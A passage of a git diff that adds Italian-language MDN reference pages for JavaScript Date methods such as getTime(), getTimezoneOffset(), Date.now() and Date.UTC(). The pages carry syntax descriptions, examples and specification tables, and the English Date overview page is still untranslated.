+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.getSeconds")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setSeconds()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/date/gettime/index.html b/files/it/web/javascript/reference/global_objects/date/gettime/index.html
new file mode 100644
index 0000000000..0424faa8a4
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/date/gettime/index.html
@@ -0,0 +1,125 @@
+---
+title: Date.prototype.getTime()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getTime
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime
+---
+<div> {{JSRef}}</div>
+
+<div> </div>
+
+<div>Il metodo <strong>getTime() </strong>restituisce il numero di millisecondi a partire dalla <a href="https://en.wikipedia.org/wiki/Unix_time">Unix Epoch</a>.</div>
+
+<p> </p>
+
+<p>* JavaScript utilizza i <em>millisecondi come unità di misura</em>, mentre lo Unix Time è in <em>secondi.</em></p>
+
+<p><em>getTime() utilizza sempre lo UTC per la rappresentazione del  tempo. Ad esempio, un client browser in un fuso orario, getTime() sarà lo stesso come un client browser in qualsiasi altro fuso orario.</em></p>
+
+<p>Puoi utilizzare questo metodo per aiutare ad assegnare una data ed un orario ad un altro oggetto {{jsxref("Date")}} . Questo metodo è funzionalmente equivalente al metodo {{jsxref("Date.valueof", "valueOf()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-gettime.html")}}</div>
+
+<p class="hidden">La sorgente di questo esempio interattivo è contenuta in una repository di GitHub. Se volessi contribuire al progetto di esempio interattivo, per favore clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> ed inviaci una pull request.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getTime()</code></pre>
+
+<h3 id="Valore_di_Ritorno">Valore di Ritorno</h3>
+
+<p>Un numero rappresentante i millisecondi trascorsi tra il  1 Gennaio 1970 00:00:00 UTC e la data utilizzata.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzare_getTime()_per_copiare_le_date">Utilizzare <code>getTime()</code> per copiare le date</h3>
+
+<p>Costruire un oggetto data con lo stesso valore di tempo.</p>
+
+<pre class="brush: js">// Poichè il mese è in base zero, birthday sarà January 10, 1995
+var birthday = new Date(1994, 12, 10);
+var copy = new Date();
+copy.setTime(birthday.getTime());
+</pre>
+
+<h3 id="Misurare_il_tempo_di_esecuzione">Misurare il tempo di esecuzione</h3>
+
+<p>Sottrarre due susseguenti chiamate <code>getTime()</code> su nuovi oggetti {{jsxref("Date")}} generati, dà il lasso di tempo tra queste due chiamate. Ciò può essere usato per calcolare il tempo di esecuzione di alcune operazioni. Vedere anche {{jsxref("Date.now()")}} per prevenire la non necessaria instanziazione di oggetti {{jsxref("Date")}}.</p>
+
+<pre class="brush: js">var end, start;
+
+start = new Date();
+for (var i = 0; i &lt; 1000; i++) {
+  Math.sqrt(i);
+}
+end = new Date();
+
+console.log('Operation took ' + (end.getTime() - start.getTime()) + ' msec');
+</pre>
+
+<h2 id="Precisione_di_tempo_ridotta">Precisione di tempo ridotta</h2>
+
+<p>Per offrire protezione contro attacchi di tipo timing e fingerprinting, la precisione di <code>new Date().getTime()</code> potrebbe essere arrotondata a seconda dei settings del browser. In Firefox, la preferenza <code>privacy.reduceTimerPrecision</code>  è abilitata di default e predefinita a 20µs in Firefox 59; in 60 sarà  2ms.</p>
+
+<pre class="brush: js">// precisione di tempo ridotta (2ms) in Firefox 60
+new Date().getTime();
+// 1519211809934
+// 1519211810362
+// 1519211811670
+// ...
+
+
+// precisione di tempo ridotta con  `privacy.resistFingerprinting` abilitata
+new Date().getTime();
+// 1519129853500
+// 1519129858900
+// 1519129864400
+// ...
+</pre>
+
+<p>In Firefox, puoi anche abilitare <code>privacy.resistFingerprinting</code>, la precisione sarà 100ms oppure il valore di  <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code>, qualunque sia superiore.</p>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificazione</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.9', 'Date.prototype.getTime')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser"> Compatibilità Browser</h2>
+
+<p class="hidden">La tavola di compatibilità in questa pagina è generata da dati strutturati.  Se volessi contrinbuire ai dari, per favore controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ed inviaci una pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.getTime")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.setTime()")}}</li>
+ <li>{{jsxref("Date.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Date.now()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html b/files/it/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html
new file mode 100644
index 0000000000..0f583c099f
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html
@@ -0,0 +1,99 @@
+---
+title: Date.prototype.getTimezoneOffset()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset
+---
+<div>{{JSRef}}</div>
+
+<p> </p>
+
+<p>Il metodo <strong><code>getTimezoneOffset()</code></strong> restituisce la differenza di fuso orario, in minuti, da corrente locale (host system settings) a UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-gettimezoneoffset.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.getTimezoneOffset()</pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un numero rappresentante  l'offset del fuso orario, in minuti, dalla data basata sul current host system settings a UTC.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il time-zone offset è la differenza, in minuti, dall'ora locale a UTC. Nota che questo significa che l'offset è positivo se l'ora locale è indietro allo UTC e negativo se è avanti. Per esempio, per il fuso orario UTC+10:00 (Australian Eastern Standard Time, Vladivostok Time, Chamorro Standard Time), sarà restituito -600.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Current Locale</td>
+   <td>UTC-8</td>
+   <td>UTC</td>
+   <td>UTC+3</td>
+  </tr>
+  <tr>
+   <td>Return Value</td>
+   <td>480</td>
+   <td>0</td>
+   <td>-180</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>L'offset di fuso orario restituito è quello che si applica per la Data su cui è chiamato. Dove l'host system è configurato per l'ora legale, l'offset cambierà in base alla data e al tempo che la Data rappresenta e a cui si applica l'ora legale.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzando_getTimezoneOffset()">Utilizzando <code>getTimezoneOffset()</code></h3>
+
+<pre class="brush: js">// Get current timezone offset for host device
+var x = new Date();
+var currentTimeZoneOffsetInHours = x.getTimezoneOffset() / 60;
+// 1
+
+// Get timezone offset for International Labour Day (May 1) in 2016
+// Be careful, the Date() constructor uses 0-indexed month so May is
+// represented with 4 (and not 5)
+var labourDay = new Date(2016, 4, 1)
+var labourDayOffset = labourDay.getTimezoneOffset() / 60;
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.26', 'Date.prototype.getTimezoneOffset')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.getTimezoneOffset")}}</p>
diff --git a/files/it/web/javascript/reference/global_objects/date/index.html b/files/it/web/javascript/reference/global_objects/date/index.html
new file mode 100644
index 0000000000..1fc4c3d9d8
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/date/index.html
@@ -0,0 +1,249 @@
+---
+title: Date
+slug: Web/JavaScript/Reference/Global_Objects/Date
+tags:
+  - Date
+  - Epoch
+  - JavaScript
+  - NeedsTranslation
+  - Time
+  - TopicStub
+  - Unix Epoch
+  - timeStamp
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">Creates a JavaScript <strong><code>Date</code></strong> instance that represents a single moment in time in a platform-independent format.</span> <code>Date</code> objects use a <a href="http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_16">Unix Time Stamp</a>, an integer value that is the number of milliseconds since 1 January 1970 UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-constructor.html")}}</div>
+
+
+
+<h2 id="Instantiating_Date_objects">Instantiating Date objects</h2>
+
+<p>The only way to create a new JavaScript <code>Date</code> object is to use the {{jsxref("new")}} operator:</p>
+
+<pre class="brush: js">let now = new Date();</pre>
+
+<p>If you simply call the {{jsxref("Date", "Date()")}} object directly, the returned value is a string instead of a <code>Date</code> object. There's no <code>Date</code> literal syntax in JavaScript.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new Date();
+new Date(<var>value</var>);
+new Date(<var>dateString</var>);
+new Date(<var>year</var>, <var>monthIndex</var> [, <var>day</var> [, <var>hours</var> [, <var>minutes</var> [, <var>seconds</var> [, <var>milliseconds</var>]]]]]);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p>There are four basic forms for the <code>Date()</code> constructor:</p>
+
+<h4 id="No_parameters">No parameters</h4>
+
+<p>When no parameters are provided, the newly-created <code>Date</code> object represents the current date and time, specified in the local time zone, as of the time of instantiation.</p>
+
+<h4 id="Unix_timestamp">Unix timestamp</h4>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>A <a href="http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_16">Unix Time Stamp</a> which is an integer value representing the number of milliseconds since January 1, 1970, 00:00:00 UTC (the Unix epoch), with leap seconds ignored. Keep in mind that most Unix timestamp functions are only accurate to the nearest second.</dd>
+</dl>
+
+<h4 id="Timestamp_string">Timestamp string</h4>
+
+<dl>
+ <dt><code>dateString</code></dt>
+ <dd>A string value representing a date, specified in a format recognized by the {{jsxref("Date.parse()")}} method (these formats are <a href="http://tools.ietf.org/html/rfc2822#page-14">IETF-compliant RFC 2822 timestamps</a> and also strings in a <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-15.9.1.15">version of ISO8601</a>).
+ <div class="note">
+ <p><strong>Note:</strong> parsing of date strings with the <code>Date</code> constructor (and <code>Date.parse</code>, they are equivalent) is strongly discouraged due to browser differences and inconsistencies. Support for RFC 2822 format strings is by convention only. Support for ISO 8601 formats differs in that date-only strings (e.g. "1970-01-01") are treated as UTC, not local.</p>
+ </div>
+ </dd>
+</dl>
+
+<h4 id="Individual_date_and_time_component_values">Individual date and time component values</h4>
+
+<p>Given at least a year and month, this form of <code>Date()</code> returns a <code>Date</code> object whose component values (year, month, day, hour, minute, second, and millisecond) all come from the following parameters. Any missing fields are given the lowest possible value (1 for the <code>day</code> and 0 for every other component).</p>
+
+<dl>
+ <dt><code>year</code></dt>
+ <dd>Integer value representing the year. Values from 0 to 99 map to the years 1900 to 1999; all other values are the actual year. See the {{anch("Two_digit_years_map_to_1900_-_1999", "example below")}}.</dd>
+ <dt><code>monthIndex</code></dt>
+ <dd>Integer value representing the month, beginning with 0 for January to 11 for December.</dd>
+ <dt><code>day</code> {{optional_inline}}</dt>
+ <dd>Integer value representing the day of the month. If not specified, the default value of 1 is used.</dd>
+ <dt><code>hours</code> {{optional_inline}}</dt>
+ <dd>Integer value representing the hour of the day. The default is 0 (midnight).</dd>
+ <dt><code>minutes</code> {{optional_inline}}</dt>
+ <dd>Integer value representing the minute segment of a time. The default is 0 minutes past the hour.</dd>
+ <dt><code>seconds</code> {{optional_inline}}</dt>
+ <dd>Integer value representing the second segment of a time. The default is zero seconds past the minute.</dd>
+ <dt><code>milliseconds</code> {{optional_inline}}</dt>
+ <dd>Integer value representing the millisecond segment of a time. The default is 0 milliseconds past the second.</dd>
+</dl>
+
+<h2 id="User_notes">User notes</h2>
+
+<h3 id="The_Unix_epoch_and_timestamps">The Unix epoch and timestamps</h3>
+
+<p>A JavaScript date is fundamentally specified as the number of milliseconds that have elapsed since midnight on January 1, 1970, UTC. This date and time is called the <strong>Unix epoch</strong>, which is the predominant base value for computer-recorded date and time values.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> It's important to keep in mind that the date and time is stored in the local time zone, and that the basic methods to fetch the date and time or its components all work in the local time zone as well.</p>
+</div>
+
+<p>A day is made up of 86,400,000 milliseconds. Given that and the size of the underlying number used to record the timestamp, and it can be calculated that the <code>Date</code> object can represent dates within ±100,000,000 (one hundred million) days relative to January 1, 1970 UTC. That means that in the year <span class="qv3Wpe" id="cwos">293,742</span>, we'll have to think about fixing this.</p>
+
+<h3 id="Date_format_and_time_zone_conversions">Date format and time zone conversions</h3>
+
+<p>There are a number of methods available to obtain the date in various formats, as well as to do time zone conversions. Especially useful are the functions that output the date and time in Coordinated Universal Time (UTC), the global standard time defined by the World Time Standard. This time is historically known as Greenwich Mean Time, as UTC lies along the meridian that includes London and nearby Greenwhich in the United Kingdom. The user's device provides the local time.</p>
+
+<p>In addition to methods to read and alter individual components of the local date and time, such as {{jsxref("Date.getDay", "getDay()")}} and {{jsxref("Date.setHours", "setHours()")}}, there are also versions of the same methods that read and maniuplate the date and time using UTC, such as {{jsxref("Date.getUTCDay()", "getUTCDay()")}} and {{jsxref("Date.setHoursUTC", "setUTCHours()")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{jsxref("Date.prototype")}}</dt>
+ <dd>Allows the addition of properties to a JavaScript <code>Date</code> object.</dd>
+ <dt><code>Date.length</code></dt>
+ <dd>The value of <code>Date.length</code> is 7. This is the number of arguments handled by the constructor. It's not generally a useful result.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("Date.now()")}}</dt>
+ <dd>Returns the numeric value corresponding to the current time - the number of milliseconds elapsed since January 1, 1970 00:00:00 UTC, with leap seconds ignored.</dd>
+ <dt>{{jsxref("Date.parse()")}}</dt>
+ <dd>Parses a string representation of a date and returns the number of milliseconds since 1 January, 1970, 00:00:00, UTC, with leap seconds ignored.
+ <div class="note">
+ <p><strong>Note:</strong> Parsing of strings with <code>Date.parse</code> is strongly discouraged due to browser differences and inconsistencies.</p>
+ </div>
+ </dd>
+ <dt>{{jsxref("Date.UTC()")}}</dt>
+ <dd>Accepts the same parameters as the longest form of the constructor (i.e. 2 to 7) and returns the number of milliseconds since January 1, 1970, 00:00:00 UTC, with leap seconds ignored.</dd>
+</dl>
+
+<h2 id="JavaScript_Date_instances">JavaScript <code>Date</code> instances</h2>
+
+<p>All <code>Date</code> instances inherit from {{jsxref("Date.prototype")}}. The prototype object of the <code>Date</code> constructor can be modified to affect all <code>Date</code> instances.</p>
+
+<h3 id="Date.prototype_Methods">Date.prototype Methods</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/prototype', 'Methods')}}</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Several_ways_to_create_a_Date_object">Several ways to create a <code>Date</code> object</h3>
+
+<p>The following examples show several ways to create JavaScript dates:</p>
+
+<div class="note">
+<p><strong>Note:</strong> parsing of date strings with the <code>Date</code> constructor (and <code>Date.parse</code>, they are equivalent) is strongly discouraged due to browser differences and inconsistencies.</p>
+</div>
+
+<pre class="brush: js">var today = new Date();
+var birthday = new Date('December 17, 1995 03:24:00');
+var birthday = new Date('1995-12-17T03:24:00');
+var birthday = new Date(1995, 11, 17);
+var birthday = new Date(1995, 11, 17, 3, 24, 0);
+</pre>
+
+<h3 id="Two_digit_years_map_to_1900_-_1999">Two digit years map to 1900 - 1999</h3>
+
+<p>In order to create and get dates between the years 0 and 99 the {{jsxref("Date.prototype.setFullYear()")}} and {{jsxref("Date.prototype.getFullYear()")}} methods should be used.</p>
+
+<pre class="brush: js">var date = new Date(98, 1); // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
+
+// Deprecated method, 98 maps to 1998 here as well
+date.setYear(98);           // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
+
+date.setFullYear(98);       // Sat Feb 01 0098 00:00:00 GMT+0000 (BST)
+</pre>
+
+<h3 id="Calculating_elapsed_time">Calculating elapsed time</h3>
+
+<p>The following examples show how to determine the elapsed time between two JavaScript dates in milliseconds.</p>
+
+<p>Due to the differing lengths of days (due to daylight saving changeover), months and years, expressing elapsed time in units greater than hours, minutes and seconds requires addressing a number of issues and should be thoroughly researched before being attempted.</p>
+
+<pre class="brush: js">// using Date objects
+var start = Date.now();
+
+// the event to time goes here:
+doSomethingForALongTime();
+var end = Date.now();
+var elapsed = end - start; // elapsed time in milliseconds
+</pre>
+
+<pre class="brush: js">// using built-in methods
+var start = new Date();
+
+// the event to time goes here:
+doSomethingForALongTime();
+var end = new Date();
+var elapsed = end.getTime() - start.getTime(); // elapsed time in milliseconds
+</pre>
+
+<pre class="brush: js">// to test a function and get back its return
+function printElapsedTime(fTest) {
+  var nStartTime = Date.now(),
+      vReturn = fTest(),
+      nEndTime = Date.now();
+
+  console.log('Elapsed time: ' + String(nEndTime - nStartTime) + ' milliseconds');
+  return vReturn;
+}
+
+var yourFunctionReturn = printElapsedTime(yourFunction);
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> In browsers that support the {{domxref("window.performance", "Web Performance API", "", 1)}}'s high-resolution time feature, {{domxref("Performance.now()")}} can provide more reliable and precise measurements of elapsed time than {{jsxref("Date.now()")}}.</p>
+</div>
+
+<h3 id="Get_the_number_of_seconds_since_Unix_Epoch">Get the number of seconds since Unix Epoch</h3>
+
+<pre class="brush: js">var seconds = Math.floor(Date.now() / 1000);
+</pre>
+
+<p>In this case it's important to return only an integer (so a simple division won't do), and also to only return actually elapsed seconds (that's why this code uses {{jsxref("Math.floor()")}} and not {{jsxref("Math.round()")}}).</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date-objects', 'Date')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date-objects', 'Date')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9', 'Date')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date", 3)}}</p>
diff --git a/files/it/web/javascript/reference/global_objects/date/now/index.html b/files/it/web/javascript/reference/global_objects/date/now/index.html
new file mode 100644
index 0000000000..dcf3650fd0
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/date/now/index.html
@@ -0,0 +1,96 @@
+---
+title: Date.now()
+slug: Web/JavaScript/Reference/Global_Objects/Date/now
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/now
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <strong><code>Date.now()</code></strong> restituisce il numero di millisecondi trascori dal Gennaio 1, 1970 00:00:00 UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-now.html")}}</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>var timeInMs = Date.now();</code></pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un {{jsxref("Number")}} rappresentante i millisecondi trascorsi fin dall'epoca UNIX.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Poichè <code>now()</code> è un metodo statico di  {{jsxref("Date")}}, lo utilizzerai sempre come <code>Date.now()</code>.</p>
+
+<h2 id="Pecisione_di_tempo_ridotta">Pecisione di tempo ridotta</h2>
+
+<p>Per offrire protezione contro attacchi di tipo timing e fingerprinting, la precisione di  <code>Date.now()</code> potrebbe essere arrotondata  a seconda dei settings del browser.<br>
+ In Firefox,  la preferenza di  <code>privacy.reduceTimerPrecision</code>  è abilitata di default e predefinita a 20ms in Firefox 59; in 60 sarà 2ms.</p>
+
+<pre class="brush: js">// precisione di tempo ridotta (2ms) in Firefox 60
+Date.now()
+// 1519211809934
+// 1519211810362
+// 1519211811670
+// ...
+
+
+//  precisione di tempo ridotta con `privacy.resistFingerprinting` abilitata
+Date.now();
+// 1519129853500
+// 1519129858900
+// 1519129864400
+// ...
+</pre>
+
+<p>In Firefox, puoi anche abiliytare <code>privacy.resistFingerprinting</code>, la precisione sarà 100ms oppure il valore di <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code>, qualunque sia più grande.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Tale metodo è stato standardizzato in ECMA-262 5<sup>th</sup> edition. Motori che non sono stati aggiornati al supporto di questo metodo possono ovviare alla sua assenza utilizzando il seguente shim:</p>
+
+<pre class="brush: js">if (!Date.now) {
+  Date.now = function now() {
+    return new Date().getTime();
+  };
+}
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.4.4', 'Date.now')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.now', 'Date.now')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.now', 'Date.now')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<p class="hidden">La tavola di  compatibilità in questa pagina è generata da dati strutturati. Se volessi contribuire ai dati, per favore controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ed inviaci una pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.now")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("Performance.now()")}} — fornisce  timestamps con risoluzione  sub-millisecond per l'uso della misurazione della performance di pagine web.</li>
+ <li>{{domxref("console.time()")}} / {{domxref("console.timeEnd()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/date/utc/index.html b/files/it/web/javascript/reference/global_objects/date/utc/index.html
new file mode 100644
index 0000000000..cfbf1abb10
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/date/utc/index.html
@@ -0,0 +1,135 @@
+---
+title: Date.UTC()
+slug: Web/JavaScript/Reference/Global_Objects/Date/UTC
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/UTC
+---
+<div>{{JSRef}}</div>
+
+<p><code style=""><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Il metodo </span></font><strong>Date.UTC()</strong></code> accetta gli stessi parametri del costruttore {{jsxref("Date")}}, ma li tratta come UTC. Restituisce  il numero di millisecondi fin dal Gennaio 1, 1970, 00:00:00 UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-utc.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<p><strong>ECMAScript 2017 e successivi:</strong></p>
+
+<pre class="syntaxbox">Date.UTC(<var>year[</var>, <var>month</var>[, <var>day</var>[, <var>hour</var>[, <var>minute</var>[, <var>second</var>[, <var>millisecond</var>]]]]]])</pre>
+
+<p><strong>ECMAScript 2016 e anteriori:</strong> <em>(utilizzo di <code>month</code> richiesto)</em></p>
+
+<pre class="syntaxbox">Date.UTC(<var>year</var>, <var>month</var>[, <var>day</var>[, <var>hour</var>[, <var>minute</var>[, <var>second</var>[, <var>millisecond</var>]]]]])</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>year</code></dt>
+ <dd>Un anno intero.</dd>
+ <dt><code>month</code></dt>
+ <dd>Un integer tra 0 (Gennaio) e 11 (Dicembre) rappresentante il mese. <em>(Fino a ECMAScript 2016, <code>month</code> era un parametro richiesto. Con ES2017, non lo è più.)</em></dd>
+ <dt><code>day</code> {{optional_inline}}</dt>
+ <dd>Opzionalel. Un integer tra 1 e 31 rappresentante il giorno del mese. Se omesso, è predefinito a 1.</dd>
+ <dt><code>hour</code> {{optional_inline}}</dt>
+ <dd>Un integer tra  0 e 23 rappresentante le ore. Se omesso è predefinito a 0.</dd>
+ <dt><code>minute</code> {{optional_inline}}</dt>
+ <dd>Un  integer tra 0 e 59 rappresentante i minuti.  Se omesso, è predefinito a 0.</dd>
+ <dt><code>second</code> {{optional_inline}}</dt>
+ <dd>Un integer tra  0 e 59 rappresentante i secondi. Se omesso, è predefinito a 0.</dd>
+ <dt><code>millisecond</code> {{optional_inline}}</dt>
+ <dd>Un  integer tra 0 e 999 rappresentante i millisecondi. Se omesso, è predefinito a 0.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un numero rappresentante i umeri di millisecondi per la data fornita sin dal Gennaio 1, 1970, 00:00:00, UTC.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code>UTC()</code> prende date delimitate da virgola e parametri tempo e restituisce il numero di millisecondi tra Gennaio 1, 1970, 00:00:00, tempo universale ed il tempo e la data specificata.</p>
+
+<p>Gli anni tra 0 e 99 sono convertiti ad un anno nel 20mo secolo<code>(1900 + year)</code>; per esempio, 95 è convertito  all'anno 1995.</p>
+
+<p>Il metodo <code>UTC()</code> differisce dal costruttore {{jsxref("Date")}} in due modi.</p>
+
+<ul>
+ <li><code>Date.UTC()</code> utilizza il tempo universale invece di quello locale.</li>
+ <li><code>Date.UTC()</code> restituisce un valore di tempo come numero invece di creare un oggetto {{jsxref("Date")}}.</li>
+</ul>
+
+<p>Se un parametro è fuori dal range previsto, il metodo <code>UTC()</code> aggiorna gli altri parametri per adattare il valore. Per esempio, se 15 è usato per il mese, l'anno sarà incrementato di 1 <code>(year + 1)</code> e 3 sarà usato per il mese.</p>
+
+<p><code>UTC()</code> è un metodo statico di {{jsxref("Date")}}, per questo è chiamato come <code>Date.UTC()</code> invece che come un metodo di istanza {{jsxref("Date")}}.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
